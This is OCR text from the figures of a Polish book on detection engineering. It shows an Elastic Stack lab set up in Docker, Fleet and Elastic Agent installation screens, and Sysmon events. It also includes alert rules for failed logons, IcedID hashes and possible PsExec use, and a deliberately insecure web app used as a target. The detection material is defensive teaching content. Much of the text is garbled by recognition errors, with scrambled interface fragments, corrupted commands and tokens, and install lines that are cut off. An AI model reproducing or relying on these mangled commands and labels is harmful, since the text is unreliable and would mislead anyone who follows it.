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Rysunek 1.3. Procesy wchodzace w sktad inzynierii detekgji



Rozdziat 2. Cykl zycia inzynierii detekcji
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Rysunek 2.1. Cykl zycia inzynierii detekcji
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Rysunek 2.2. Statystyki eksploitow Log4j. Zrédto danych:
https://blog.checkpoint.com/security/the-numbers-behind-a-cyber-
pandemic-detailed-dive/
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Rysunek 3.1. Przyktad wdrozenia Elasticsearch
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Rysunek 3.3. Pomoc systemu Docker
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emu Linux:

tl -w vm.max_map_count

Rysunek 3.5. Konfigurowanie pamieci wirtualnej Docker Desktop

Gtéwny katalog projektu

CEGES

esk

i::.env
docker-compose.yaml

Rysunek 3.6. Struktura folderéw projektu Elastic Stack
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Rysunek 3.7. Wdrozenie platformy Docker
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Rysunek 3.8. Status kontenera wyswietlany w terminalu

Containers cive feedback

Container CPU usage Container memory usage Show charts

Data unavailable at this time Data unavailable at this time

Q, search m [ Only show running containers [ 2 m
= Name Image Status CPU (%) Port(s) Last started Actions
D > g leet Running (1/1) N/A 1 minute ago ] ]
O = esk Running (3/4) N/A 7 seconds ago n i
kibana-1 P % g
i 1 i — N/A  5601:5601 @ 7 | ]
O acanoer Sockerelastic co/ki / 2] ays ago (]
es02-1 pa— ] .
v K tic.co/el Runni N/A 7 1}
] w 2506aqea; S0Ckerelastic.co/el Running I seconds ago [ ] (]
es01-1
D @ docker.elastic.co/el Running N/A  9200:9200 (£ 8 seconds ago [ ] [ ]
08294d51b
setup-1
|:| w docker.elastic.co/el Running N/A 10secondsago m ]

7f7cef96bc

Rysunek 3.9. Status konteneréow w srodowisku Docker Desktop
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€ > C @ 127.0.0.1:5601/login?next=%2F e Bg W

e

Welcome to Elastic

Username

Password

&

Rysunek 3.10. Strona logowania do systemu Elastic
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Rysunek 3.11. Wdrozenie platformy Docker z komponentem Fleet Server
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Gtéwny katalog projektu
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Rysunek 3.12. Struktura folderéw projektu z komponentem Fleet

Add a Fleet Server

A Fleet Server is required before you can enroll agents with Fleet. Follow the instructions below to set up a Fleet Server.
For more information, see the Fleet and Elastic Agent Guide

o Get started with Fleet Server

First, set the public IP or host name and port that agents will use to reach Fleet Server. It uses port 8228 by
default. We'll then generate a policy for you automatically.

Fleet Server host  https://127.0.01:8220 v

Generate Fleet Server policy

Rysunek 3.13. Ekran konfiguracji komponentu Fleet Server (krok 1.)
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‘ Get started with Fleet Server

v Fleet Server policy created.

Fleet server policy and service token have been generated. Host configured at
https://192.168.8.113:8220 . You can edit your Fleet Server hosts in Fleet Settings.

‘ Install Fleet Server to a centralized host

Install Fleet Server agent on a centralized host so that other hosts you wish to monitor can connect to it. In
production, we recommend using one or more dedicated hosts. For additional guidance, see our installation
docs .

Mac Windows RPM DEB

curl -L -0 https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-8.5.0-1i [§
tar xzvf elastic-agent-8.5.0-1inux-x86_64.tar.gz
cd elastic-agent-8.5.08-1inux-x86_64
sudo ./elastic-agent install \
--fleet-server-es=https://192.168.8.113:9200 \
--fleet-server-service-token=AAEAAWVsYXNBaWMvZmx1ZXQtc2VydmVyL3Rva2VuLTE3MDQ3NjIzOTEZNZI6S

--fleet-server-policy=fleet-server-policy
<1 ]

Rysunek 3.14. Ekran konfiguracji komponentu Fleet Server (krok 2.)

. Install Fleet Server to a centralized host

Install Fleet Server agent on a centralized host so that other hosts you wish to monitor can connect to it. In production, we recommend using one
or more dedicated hosts. For additional guidance, see our installation docs .

Linux Tar  Mac RPM  DEB

$ProgressPreference = 'SilentlyContinue’
Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elastic-agent/elastic-agent-8.4.3-windows-x86_64.zip -Ou
Expand-Archive .\elastic-agent-8.4.3-windows-x86_64.zip
cd elastic-agent-8.4.3-windows-x86_64
_\elastic-agent.exe install
--fleet-server-es=http://localhost:9268 *
--fleet-server-service-token=AAEAAWVSYXN@aWMvZmx1ZXQtc2VydmVyL3Rva2VuL TE3MDM3NTU10Tg5NzQ6bmJoS2d 1L UpSWFdXRkxmUKRUNFVRUQ *

--fleet-server-policy=fleet-server-policy
«

>

. Fleet Server connected

You can now continue enrolling agents with Fleet.

Continue enrolling Elastic Agent

Rysunek 3.15. Ekran konfiguracji komponentu Fleet Server (krok 3.)
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Edit output

Type

Elasticsearch b
Hosts

http://localhost:9200

@ Add row

Elasticsearch CA trusted fingerprint (optional)

Specify Elasticsearch CA trusted fingerprint

Advanced YAML configuration

ssl.verification_mode: none

“ Make this output the default for agent integrations.

~ Make this output the default for agent monitoring.

Cancel Save and apply settings

Rysunek 3.16. Konfiguracja wyjscia komponentu Fleet Server
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7 x
Utwdrz wirtualng maszyne
Mazwa i system operacyjny
Nazwa: |window510 |
Folder maszyny: | C:\Wsers\meryk\WirtualBox YMs V|
Typ: |I\"icroscft Windows - |
A0
Wersja: |Wndows 10 (54-bit) v|
Rozmiar pamigd
4MB 8192 MB
Dysk twardy

() Nie dodawaj wirtualnego dysku twardego
(@) Stwérz wirtualny dysk twardy
(0) Usyj istniejacego pliku wirtualnego dysku twardego

Brak i <

[trybprzewodnika| | utwérz | | Anulg |

Rysunek 3.17. Obszar Create Virtual Machine w srodowisku VirtualBox

? K
Stworz wirtualny dysk twardy
Sdiezka do pliku
|C:\LJsers\rneryk‘MrtuaIBox YMs\windows 10\windows 10.vdi | I:aI
Rozmiar pliku
0
R T T T T T e A T S T
4,00 MB 2,00 TB
Typ pliku z wirtualnym dyskiem twardym Pamiec na fizycznym dysku twardym
(@ VDI (VirtualBox Disk Image) (@ Dynamicznie przydzielany
(O VHD (Virtual Hard Disk) () Staty rozmiar
() vMDK (virtual Machine Disk) Podziel na pliki wazace mnigj niz 2 GB

(O HOD (réwnoleghy dysk twardy)
(O Qcow (QEMU Copy-On-Write)
(7) QED (QEMU enhanced disk)

Trybprzewodnka [ Uteérz | | Anuy |

Rysunek 3.18. Obszar Create Virtual Hard Disk w srodowisku VirtualBox
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Rysunek 3.19. Ustawienia maszyny wirtualnej w srodowisku VirtualBox

<1 B agents - Flee - Bstc x|+ = x

€ 5 C  ® 127.00.1:5601/app/flect/agents

QO elastic
[4 Send feedback

x

Add agent

Add Elastic Agents to your hosts to collect data and send it to the Elastic Stack.

o What type of host are you adding?

Type of hosts are controlled by an agent policy . Create a new agent policy to get
started.

Windows policy 1 Create policy

Collect system logs and metrics @

> Advanced options

2 Enrollin Fleet?

3 Install Elastic Agent on your host

Close

Rysunek 3.20. Dodawanie agenta
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Install Elastic Agent on your host

Select the appropriate platform and run commands to install, enroll, and start Elastic
Agent. Reuse commands to set up agents on more than one host. For aarch64, see our
downloads page . For additional guidance, see our installation docs .

Linux Tar Mac @ RPM DEB Kubernetes

SProgressPreference = "SilentlyContinue’
Invoke-WebRequest -Uri https://artifacts.elastic.co/downloads/beats/elast
Expand-Archive .\elastic-agent-8.4.3-windows-x86_64.zip -DestinationPath

cd elastic-agent-8.4.3-windows-x86_64

.\elastic-agent.exe install --url=https://127.0.0.1:8220 --enrollment-tok
4 3

Rysunek 3.21. Skrypt instalacyjny Elastic Agent

. Agent enrollment confirmed

v 1agent has been enrolled.

View enrolled agents

. Incoming data confirmed

v Incoming data received from 1 of 1 recently enrolled agent.

Close

Rysunek 3.22. Potwierdzenie rejestracji agenta




Rozdziat 3. Budowa laboratorium testowego inzynierii detekgji

15

Discover | v
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QU search field names

Filter by type 0

~ Available fields.

® _index
#) score

© @timestamp
© ackToken

® actionid

actionsubType
 actionType

© address

© agent.console.name
© agent.console.type
K agent ephemeralid
k) agentid

& agentname

k| agent.type

Add a field

® ©  Q Filter your data using KQL syntax

G Refresh

B v Last15 minutes

D @

Dec 31,2023 @ 09:28:37.535 - Dec 31, 2023 @ 09:43:37.535 (interval: Auto - 30 seconds)

1,481 hits
vlo
a0
234 20¢
Field statistics _seta

Documents

Get the best ook at your search resuits.

Add relevant fields, reorder and sort columns, resize fows, and more in the document table.

Take thetour  Dismiss.
¢ 1field sorted
V @timestamp © ~ Document N

' [ Dec 31, 2023 © 89:43:28.797  @timestanp Dec 31, 2623 @ 09:43:28.797 agent.ephemeral id 7f348195-2fa7-4888-bba1-7319e4e0f152 agent.id
4923553-bf6f-4786-b2be-214b5F57e99 agent.name 1bb2b7554966 agent.type filebeat agent.version 8.5.0 data_stream.dataset
elastic_agent.metricbeat data_stream.nanespace default data_stream.type logs ecs.version 8.6.6 elastic_agent.id.

& () Dec 31, 2023 € 89:43:18.628  @timestanp Dec 31, 2623 @ 89:43:18.620 agent.ephemeral id 7f348195-2fa7-4888-bba1-7319e4eaf152 agent.id
49a3553-bfof -4786-b2be-214bsf5e7e99 agent.name 1bb2b7554966 agent.type filebeat agent.version 8.5.0 data_strean.dataset
elastic_agent.filebeat data_stream.namespace default data_stream.type logs ecs.version 8.0.8 elastic_agent.id.

& () Dec 31, 2023 © 09:43:14.274  @timestamp Dec 31, 2023 @ 09:43:14.274 agent.ephemeral 1d 5fb3c3d 7c0d17d558 agent. 1d -bo4s-7f{

Rows per page: 100
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Rysunek 3.23. Widok Discover w systemie Elastic Stack

Fleet

Agents

Name

Rows per page: 20

Agent policies

Fleet Server Policy rev. 5

Windows policy rev. 4

Centralized management for Elastic Agents.

Enroliment tokens  Datastreams  Settings

Q) Filter your data using KQL syntax

Deseription

Fleet Server policy generated by Kibana

G Reload Create agent policy

Last updated on - Agents Integrations Actions
Dec 31, 2023 1 2
Dec 31,2023 1 1 a0

< 1>

Rysunek 3.24. Zasady dziatania komponentu Elastic Agent
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¢ Cancel

4- Edit System integration

Maodify integration settings and deploy changes to the selected agent policy.

Integration settings Integration name

Choose a name and description to help identify how this system-2
integration will be used.

Description

» Advanced options

) Collect logs from System instances

) Collect events from the Windows event log

) Collect metrics from System instances

X Collect logs from third-party REST API (experimental)

Agent policy
Windows policy

Optional

Change defaults v

Change defaults v

Change defaults ~

Change defaults

Rysunek 3.25. Integracja edycji systemu (Edit system)
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@  collect events from the Windows event log Change defaults ~

( Application Preserve original event
X

Preserves a raw copy of the original XML event, added to the
field event.original

Collect Windows application logs

? Advanced options

( Security Preserve original event
X

Preserves a raw copy of the original XML event, added to the
field event.original

Security channel

> Advanced options

( System Preserve original event
x

Preserves a raw copy of the original XML event, added to the
field event.original

Collect Windows system logs

» Advanced options

Rysunek 3.26. Ustawienia zbierania logow zdarzen systemu Windows

Source
Use Kibana Data Views [ o specify individual index patterns (2 as your rule's data souree to be searched.

@ Index Patterns Data View

apm-*-transaction* X | auditbeat-* X | endgame-* x | | filebeat-* X | logs-* X | | packetbeal-* X | | traces-apm* X
winlogbeat-* X | -*elastic-cloud-logs-* X
Enter the pattern of Elasticsearch indices where you would like this rule to run. By default, these will include index patterns defined in Security Solution
advanced settings.
Custom query Import query from saved timeline
® © | Q eventcode: 4625 AND winlog.channel: "Security” [ ]
Group by Threshold
All results v >= 4

Select fields to group by. Fields are joined together with ‘AND"
Count Unigue values

All results v >

Select a field to check cardinality
Timeline template

None ~

Select which timeline to use when investigating generated alerts.

Rysunek 3.27. Konfiguracja nowej reguty
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v ° About rule

Name

failed logon threshold met

Description

the number of failed logons has risen over a defined threshold

Default severity
Select a severity level for all alerts generated by this rule.

® Low ~

Severity override
Use source event values to override the default severity.

Default risk score
Select a risk score for all alerts generated by this rule.
—
2H
0 25 50 75 100
Risk score override

Rysunek 3.28. Szczegétowe dane nowej reguty

Alerts [ anoge s |

B2 rcroviesgea  ciosea U —
v Trend v Groupby  kibana.alert rule.name v
Group by top -

1 ® taled logon threshold met 1

10.29 06:00 10260300 16.2906:00 10.29 0900 10281200 10291500 10291800 10292100

= Columns ¢ 1fekisorted Talert [ Fields Adational fiters Grid view ~ [
Actions + @timestamp > Rule v Severity v RiskScors v Reason ~ hostname v username  processn.. v flename
7 & - 20021020 180600985 fated logon threshold met_ fow ) event crested low et aled ogon tweshokdmet.  — " = =

Rysunek 3.29. Pomysine wykrycie zagrozenia przez mechanizm detekcji
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- tres¢

Rysunek 4.1. Przeglad ruchu na serwerze WWW

L) ]

Maszyna wirtualna Elastic Stack
zLinuksem
[ =—>] Telemetria zabezpieczen

Rysunek 4.2. Instalacja z serwerem WWW
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Create agent policy

Agent policies are used to manage settings across a group of agents. You can add integrations
to your agent policy to specify what data your agents collect. When you edit an agent policy, you
can use Fleet to deploy updates to a specified group of agents.

Name

Apache Web Server Policy

Collect system logs and metrics @

v Advanced options

Description

Add a description of how this policy will be Optional description

used.

Default namespace

Namespaces are a user-configurable default [ <]

arbitrary grouping that makes it easier to
search for data and manage user
permissions. A policy namespace is used to
name its integration's data streams. Learn

more (4.
Agent monitoring Collect agent logs @
Collecting monitoring logs and metrics will Collect agent metrics @

also create an | @ Elastic Agent | integration.
Monitoring data will be written to the default
namespace specified above.

Unenrollment timeout

An optional timeout in seconds. If provided,
an agent will automatically unenroll after

Cancel Preview APl request JEGCEICET sl [nY

Rysunek 4.3. Tworzenie zasady agenta
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[Network Packet Capture] Navigation

Network Packet Capture:
Overview

Network Flows

DNS Overview | Tunneling

DHCPy4 Transactions

LS Overview

HTTP transactions

Databases: MySQL | PostareSQL | MongoB | Cassandra

RPC: Thvift

Storage: NES

¢ Viewallagent policies Revision Integrations Agents Last updated on Arlionsy
H 3 3 Dec 31,2023
Apache Web Server Policy Add agent ©
Integrations  Settings
Q searcn.. Namespace v
Name T Integration Namespace Actions
apache-1 / Apache HTTP Server v1.11.0 default aoa
network_traffic-1 @ Network Packet Capture v1.11.1 default noa
system-3 4 System v1.252 default ase
Rysunek 4.4. Zasady serwera WWW Apache
Actions v
@® Add agent
@ View policy
Duplicate policy I
Rysunek 4.5. Dodawanie agenta Elastic
= @ owtbows  MovworkPacketCaptrel TP | runscreen snare cione ([ NN
® o QU Filter your data using KQL syntax B v Last 30 minutes G Refresh

[Notwork Packet Capture] HTTP Transactions

Count

) Ill_ l#ﬂllill_lllL

@timestamp per 30 secont

67

Count

020 3

I il I I I 0204 3

Rysunek 4.6. Pulpit nawigacyjny Network Packet Capture HTTP
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& 3 © A Niembespieczona 192.168,0.100:8080 B O 0@ :
DIWA Home Documentaion  Downloads  Contact E-Mail-Address Password
Welcome to DIWA!
Deliberately Insecure Web Application
Feel free to hack this site!
This site was made to be hacked. A lot of bugs and vulnerabililies can be exploited to leam how to hack a bad developed website. This should show every developer why it is important
to care for website security.
DIWA does not guide you through the different attacks or gives you exercises 1o fulfill. Just try to break everything :-)
o N O K
Rysunek 4.7. Gtéwna strona aplikacji DIWA
€ > G A Niezabezpieczona  192.168.0.100:8080/?page=downloads B W [n] R | a H
DIWA  Home  Documentation — Downioads  Contact E-Mail-Addi historia pobierani x l
[ secret-xuzd7aphp
7868 - Gotone
Downloads [ lorem-ipsum-1000-words.txt
5,9 kB - minute temu
Please log-in to see all Downloads. Pelna historia pobierania &

elastic

logs—+ v

anits

Documents

Rysunek 4.8. Pobieranie pliku DIWA

Discover

© © Q urquery: *secret-xu2d7a* OR urlfulltext : *secret-xu2d7a*

Fieldstatistics  sera

Get the best look at your search results.

# [ dee 1
2 O vec 11
2 O vec 31

2 Ovee 31

reorder . resize rows, and more in
Takethetour  Dismiss
© 1field sorted

¥ @timestamp ©  Document

2623 ¢ 14:33:40.549

2623 € 14:33:40.548  url.query Fil

2623 € 14:26:24.421  url.query Fil

2023 & 14:26:24.421

url.query File. A2Fcontenti2Fsecrat-Xi2d7a.php Ctinestamp Dec 31,
NOFcententi2FsacretK2dTa php etinestamp Dec 31
OFGEntantAIFSREet 2T D etinestamp Dec 31
url.query Files: AREGNEeNtA2FSECFE-XURATAIPHp etinestamp Dec 31

Dec 31,2023 @ 14:21:07229 - Dec 31, 20

2623 & 14:23:40.549 agel
2623 € 14:23:40.548 agel
2623 € 14:26:24.421 agel
2023 @ 14:26:24.421 agel

Expanded document

View: B Single document @ Surrounding documents @

Table  JSON

Q search field names
Actions Field
® .1

® _index

# _score

© etinestamp

& agent. epheneral_1d
& agent.1d

& agent..nane

& agent. type

& agent..version
#)client bytes

@ client.1p

# client.port

x

1ofa >

Value
020UNTNBnS9qDBxj2.1

ds-Togs-network_traffic. http-default-2623.12.31-000001
Dec 31, 2023 € 14:33:40.549

46927 co-3e43-4280-se7e-267674bc 58
7798bfe-4d8e-41de-8c37-e73a7a584304

user-Virtualsox

packetbeat

650

546

192.168.0.113

61,62

Rysunek 4.9. Rozszerzony widok dokumentu
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Alerts
=Y rorovieased | closea Updated 21 seconds ago
~ | pa Trend v Groupby  kibana.alert.rule.name v
Groupby top v
.  Dostep do poutnego dokumentu 4
2 ® prég neudanego logowania 1
1
% |
2o o w0 221m0 aar 1z 3w 2311800 2z
© 1feldsorted Salerts | [ Fields Additionaifiters v Grid view
¥ @timestamp  Rue  Severity v RiskScore v Reason ~ hostname v username  processn.. ¥ flename s
s Dec31,2023@ 151208780 Dostep dopoutnego doku.  low 21 network event withsource 192.168.0.113:81930, destinaton 192168.0...  user-VirtualBox — = - "
E Dec 31,2023 @ 15:1208.772  Dostep do poutnegodoku..  low 21 network event with source 192.168.0.113:61930, destinaton 17217.0.3.. user-VitvalBox — - - v
s Dec31,2023@ 151208737  Dostep dopoutnego doku..  low 21 network event withsource 192.168.0.113:81930, destination 192.168.0...  user-VitualBox — - - 1
wm Dec31,2023@15:1208.726  Dostgp dopoutnego doku.  low 21 network event with source 192.168.0.113:81930, destinaton 172.17.0.3.. user-VitualBox — - - "
e Dec31,2023@10:38:46.948  prég eudanegologowaria  low 21 event created low alert prég ieudanego logowania - - - - -

Rysunek 4.10. Alert o uzyskaniu dostepu do poufnego dokumentu



Rozdziat 5. Analiza wymagan
dla mechanizméw detekcji

v | v

Oxl;x;\;aanr‘:e > Selekcja > Analiza —>»{ Programowanie - Testowanie |—»  Wdrazanie
Dziatania ciggte
Monitorowanie Utrzymywanie Metryki Walidacja

Rysunek 5.1. Cykl zycia mechanizmu detekcji

Odkryto Zbieranie Wymaganie dla Utworzenie Powiadomienie
wymaganie szczegotow mechanizmu «| zgtoszenia o utworzeniu zgtoszenia
dla mechanizmu . detekgji w systemie za posrednictwem
detekgcji wymagania ticketowym platformy komunikacyjnej

T

Y
Zwrécenie sie Czy ) Przeglad
do wnioskodawcy w zgtoszeniu s3 przychodzacych

zawarte wszystkie

szczegoly? zgtoszen przez

inzynieréw detekcji

w celu uzyskania
wiecej szczegotow

Rozpatrzenie
zgtoszenia
(przydzielenie
priorytetu)

Rysunek 5.2. Przebieg fazy odkrywania wymagan

Dopasowanie Aktywne eksploity

Dotkliwos¢ mechanizmu Pokrycie s Czestos¢
zagrozenia + detekcji zagrozenia + wymagan + (Trafnosc + wystepowania)

do organizacji

Rysunek 5.3. Wzér na obliczanie priorytetu



Rozdziat 6. Tworzenie mechanizmow
detekcji przy uzyciu wskaznikéow

naruszen zabhezpieczen

(-Z'} Custom Windows event logs

@ ' windows Event Logs

Collect Windows event logs from a custom
channel

Change defaults ~

Channel Name

Microsoft-Windows-Sysmon/Operational

Name of Windows event log channel (eg. Microsoft-
Windows-PowerShell/Operational)

Dataset name
winlog.sysmon

Dataset to write data to. Changing the dataset will send the
data to a different index. You can't use - in the name of a
dataset and only valid characters for Elasticsearch index
names.

Preserve original event
x

Preserves a raw copy of the original XML event, added to
the field event.original

> Advanced options

Rysunek 6.1. Dodawanie integracji Sysmon
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*
Expanded document
View: @ Single document @ Surrounding documents @ IK ¢ 40of 368 » 2
k input.type winlog
k| log.level informacje
t message v
Process Create:
RuleName: -
UtcTime: 26823-12-31 14:28:00.1783
ProcessGuid: {3394ff7e-7a78-6591-9006-600000004400
ProcessId: 9868
Image: C:\Windows\System32\SearchFilterHost.exe
FileVersion: 7.8.19841.3758 (WinBuild.168181.8888)
Description: Microsoft Windows Search Filter Host
Product: Windowse Search
Company: Microsoft Corporation
OriginalFileName: SearchFilterHost.exe
CommandLine: "C:\Windows\system32\SearchFilterHost.exe" 8 884 88
8 816 8192 812 788
CurrentDirectory: C:\Windows\system32\
User: ZARZADZANIE NT\SYSTEM
LogonGuid: {3394ff7e-189c-6591-e783-668806066008 }
LogonId: @x3E7
TerminalSessionId: @
IntegritylLevel: Medium
Hashes: SHA256=08508481DC54125715DE3AB997052F781BF7674DC188520C8
DFD38B731BC59DF
ParentProcessGuid: {3394ff7e-1118-6591-4901-800006004400}
ParentProcessId: 18668
ParentImage: C:\Windows\System32\SearchIndexer.exe
ParentCommandLine: C:\Windows\system32\SearchIndexer.exe /Embedd
ing
ParenmtUser: ZARZADZANIE NT\SYSTEM
Rysunek 6.2. Przyktadowe zdarzenie o identyfikatorze 1
X
Expanded document
View: [3 Single document & Surrounding documents @ IC ¢ 1of 52 > 3l
Table JSON
Q Hash ]
Actions Field Value
k| winlog.event_data.Hashes SHA256=F13DE58416738D218DAB465B242E9C949FBAAB245EEF45BA7C381FECEC
2A43C3
Rows per page: 25 <1 >

Rysunek 6.3. Pola zawierajace skroty dla zdarzenia o identyfikatorze 1
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= . Security  Manage  Rules  Createnewrule  Create
@  Security < Rules
Dashboards 88
Alerts
Findings v o Define rule
Timelines
Cases Rule type
Explore 88 Q Custom query Machine Learning
Use KQL or Lucene to detect s to ML requires a
issues across indices. Platinum subscription 2
o Selected Unavailable
@, Event Correlation i Indicator Match
Use Event Query Language Use indicators from intelligence
(EQL) to mateh events, sources to detect matching
generate sequences, and stack events and alerts.
data
57 GET STARTED
Select Select
Manage ag

ML job settings v

Add integrations

Threshold

Aggregate query results to
detect when number of
matches exceeds threshold.

Select

New Terms

Find documents with values
appearing for the first time.

Select

Rysunek 6.4. Konfiguracja nowej reguty

v o About rule

Name

Kampania IcedID. Tworzenie procesu.

Description

Préba tworzenia procesu dla kampanii Ivggglgj

Default severity
Select a severity level for all alerts generated by this rule.

® Low ~

Severity override
Use source event values to override the default severity.

Rysunek 6.5. Konfiguracja reguly About rule
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pat
Expanded document
View: @ Single document @ Surrounding documents @ [ < 1ofd > )
k Nost.os.lype W1NJdows
k host.os.version 18.8
k| input.type winlog
k| log.level informacje
1 message o
Network connection detected:
RuleName: Network connection over port 88 or 443 or 8888
UtcTime: 2823-12-31 14:48:17.681
ProcessGuid: {3394ff7e-117a-6591-6901-0000000804400 }
ProcessId: 3492
Image: C:\Program Files\Google\Chrome\Application\chrome.exe
User: DESKTOP-3ADGNTT\PC
Protocol: tcp
Initiated: true
SourceIsIpvé: false
SourceIp: 192.168.8.106
SourceHostname: host.docker.internal
SourcePort: 63544
SourcePortName: -
DestinationIsIpvé: false
DestinationIp: 15.197.153.132
DestinationHostname: ae6bee98fe393bd2a.awsglobalaccelerator.com
DestinationPort: 443
DestinationPortName: https
k| winlog.api wineventlog
k| winlog.channel Microsoft-Windows-Sysmon/Operational
Rysunek 6.6. Przyktadowe zdarzenie o identyfikatorze 3
X

Expanded document

View: @ Single document B Surrounding documents &

1< < 104 >

Table JSON
Q Dest -]
Actions Field Value
k winlog.event_data.DestinationHost aebbee98fe393bd2a.awsglobalaccelerator.com
name
k winlog.event_data.DestinationIp 15.197.153.132
k winlog.event_data.DestinationIsIp false
vb
k winlog.event_data.DestinationPort 443
k| winlog.event_data.DestinationPort https
Name
Rows per page: 25 ~ <1 >

Rysunek 6.7. Pola opisujace docelowy ruch dla zdarzenia o identyfikatorze 3




Rozdziat 7. Opracowywanie
mechanizmoéow detekcji opartych
na wskaznikach behawioralnych

Zezwalaj aplikacjom na komunikowanie sie przez Zapore Windows Defender
Aby dodad, zmienic lub usunaé dozwolone aplikacje i porty, kliknij pozycje Zmiefi ustawienia.

Jakie ryzyko wiaze si¢ z zezwoleniem na komunikacje aplikacji? @Zmieﬁ ustawienia

Dozwolone aplikacje i funkcje:

Mazwa Prywatne = Publiczne
Start

Sredowisko powloki systemu Windows

Sredowisko uruchemieniowe Microsoft Edge WebView2
Tozsamosé w chmurze

Twoje konto

B EEERE
K E E EE

i drukarek

Q)
Q|

[ Udostepnianie plikéw i drukarek przez protokét SMBDirect O O
Udostepnianie zblizeniowe
Unity 2021.3.22f1 Editor O
Unity 2022.2.14f1 Editor O
Unity Editor O
Unity Editor O v

| Zezwalaj na dostep inngj aplikagji...

Rysunek 7.1. Zezwalanie na udostepnianie plikow i drukarek
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=/ Group Policy Management Editor
File Action View Help

L ARl oo (NEFN 7 o

15/ Default Domain Policy [WIN-HBERE3GL2SF.DELAB.LOCAL] Policy
v & Computer Configuration
v [ Policies
> [Z] Software Settings
v [] Windows Settings
> [] Name Resolution Policy
(=] Scripts (Startup/Shutdown)
= Deployed Printers
v i Security Settings
> 58 Account Policies
> @ Local Policies
> j Event Log
> [[@ Restricted Groups
> L@ System Services
> [ Registry
> [g File System
> [gf Wired Network (IEEE 802.3) Policies
> [Z] Windows Defender Firewall with Advanced Security
] Network List Manager Policies
> [ Wireless Network (IEEE 802.11) Policies
> [ Public Key Policies
> [ Software Restriction Policies
» [] Application Control Policies
> s IP Security Policies on Active Directory (DELAB.LOCAL)
v [ Ady d Audit Policy Confi i
v 1Y Audit Policies
> :ﬂ Account Logon
> j Account Management

g

Subcategory

| Audit DPAPI Activity
Audit PNP Activity

{Audit Process Creation

=] Audit Process Termination
£%] Audit RPC Events

l=o] Audit Token Right Adjusted

Audit Events
Not Configured
Not Configured
Not C

Not Configured
Not Cenfigured
Not Configured

Rysunek 7.2. Edytor Group Policy Management

Mozliwe uzycie programu PsExec
Dec 31, 2023 @ 17:00:51.191

Overview Threatintel[J Table JSON

Status

Severity

® Medium

event on| DESKTOP-3ADGNTT |created medium |alert

Highlighted fields
Field Value

host.name

Rule type eql

Risk Score Rule

47 Mozliwe uzycie programu
PsExec

Mozliwe uzycie programu PsExec | .

View all fields in table

Alert prevalence (D

DESKTOP-3ADGNTT 40

6

Rysunek 7.3. Wyzwolony alert mozliwego uzycia PsExec

Zabezpieczenia:

Ten plik pochodz z innego
komputera | moie byc

[ ] Odblokuj

zablokowany, aby pomdc w
ochronie tego komputera.

Rysunek 7.4. Znacznik sieciowy w systemie Windows




Rozdziat 8. Tworzenie dokumentagji
i potoki mechanizmow detekg;ji

detection_rules
README. md
rules
windows
TS
linuw
network

tests
general
windows
macos
linux
network

targets
qradar
elasticsearch

Rysunek 8.1. Uklad repozytorium mechanizmow detekcji

Linting <€ Jrules
4
v g
Kompilacja >
Sigma > J/targets
‘1
v
1
1
i
Testowanie [& /tests
; .
/
¢ /
Publikowanie > Artefakty reguty
4
v g
Wdrazanie > Urzadzenie

Rysunek 8.2. Potok ciagtego wdrazania dla regutf Sigma
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Sktadowe

mechanizmy detekgji

Niskopoziomowy
mechanizm
detekcjinr 1

Nazwa alertu
Tag LL1

Wihasciwos¢ 1
Wihasciwosc 2

Niskopoziomowy
mechanizm
detekcjinr 2

Nazwa alertu
Tag LL1

Wihasciwos¢ 1
Wihasciwosc 2

Ztozone

mechanizmy detekgji

Sktadowe

mechanizmy detekgji

Niskopoziomowy
mechanizm
detekcjinr 1

Ztozony
mechanizm
detekcjinr 1

Nazwa alertu
Wihasciwosc¢ 1
Wihasciwosc 2
Wihasciwos¢ N

Nazwa alertu
Tag LL1

Wiasciwosc 1
Wiasciwosc 2

Dodatkowe dane

Niskopoziomowy
mechanizm
detekgji nr 2.1

I
|

Nazwa alertu

Tag LL1
Wiasciwosc 1
Wiasciwos¢ 2 - Brak

Ztozone
mechanizmy detekcji

Ztozony
mechanizm
detekcjinr 1

Nazwa alertu
Wiasciwosc 1
Wiasciwos¢ 2
Wiasciwos¢ N
A

Dodatkowe dane

Ztozony mechanizm detekgjinr 1 jest generowany
w oparciu o alerty oznaczone znacznikiem LL1,
ktére mogty zosta¢ wygenerowane za pomoca
niskopoziomowych mechanizméw detekgji nr 1
inr2iwymagaja do uaktywnienia wtasciwosci 12

Niskopoziomowy mechanizm detekgji nr 2 zostat
zaktualizowany do wersji 2.1, a wkasciwosc 2 nie jest
juz uwzgledniona w alercie lub jest nieprawidtowo
sformatowana. Ztozony mechanizm detekgji nr 1
nadal sie uaktywnia, ale tylko dla niskopoziomowego
mechanizmu detekgji nr 1. Zesp6t SOC nadal widzi
alerty ztozonego mechanizmu detekgji nr 1, nie zdajac
sobie sprawy, ze brakuje niektorych alertow

Rysunek 8.3. Sktadowe mechanizmy detekcji i mechanizmy ztozone — przyktad nr 1
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Sktadowe Ztozone Sktadowe Ztozone
mechanizmy detekcji | mechanizmy detekcji mechanizmy detekcji | mechanizmy detekcji

Niskopoziomowy Ztozony Niskopoziomowy Ztozony

mechanizm mechanizm mechanizm mechanizm

detekcjinr 1 detekcjinr 1 detekgjinr 1.1 detekcjinr 1
Nazwa alertu Nazwa alertu Nazwa alertu Nazwa alertu
TagLL1 L | Whasciwos¢ 1 Tag LL1 LA | Whasciwosé 1
Wihasciwos¢ 1 Wihasciwosc 2 Wiasciwosc 1 Wiasciwos¢ 2
Wihasciwosc 2 Wihasciwos¢ N Wiasciwosc 2 Wiasciwos¢ N

Wiasciwosc 3

Dodatkowe dane
Dodatkowe dane

Niskopoziomowy

Niskopoziomowy

mechanizm mechanizm Ztozony
detekcjinr 2 detekcji nr 2 mechanizm
detekcji nr 2
Nazwa alertu Nazwa alertu *
TagLL1 Tag LL1 Nazwa alertu
Wiasciwos¢ 1 Wiasciwos¢ 1 Wiasciwos¢ 1
Wiasciwos¢ 2 Wiasciwos¢ 2 ~] | Wiadciwodc 2
Al Whasciwosc 3
Ztozony mechanizm detekgjinr 1 jest generowany Niskopoziomowy mechanizm detekgji nr 1 zostat
w oparciu o alerty oznaczone znacznikiem LL1, zaktualizowany do wersji 1.1 i dodano wtasciwos$¢ 3
ktére mogty zosta¢ wygenerowane za pomoca w celu obstugi ztozonego mechanizmu detekgji nr 2,
niskopoziomowych mechanizméw detekgji nr 1 ale analityk zapomniat zaktualizowa¢ réwniez
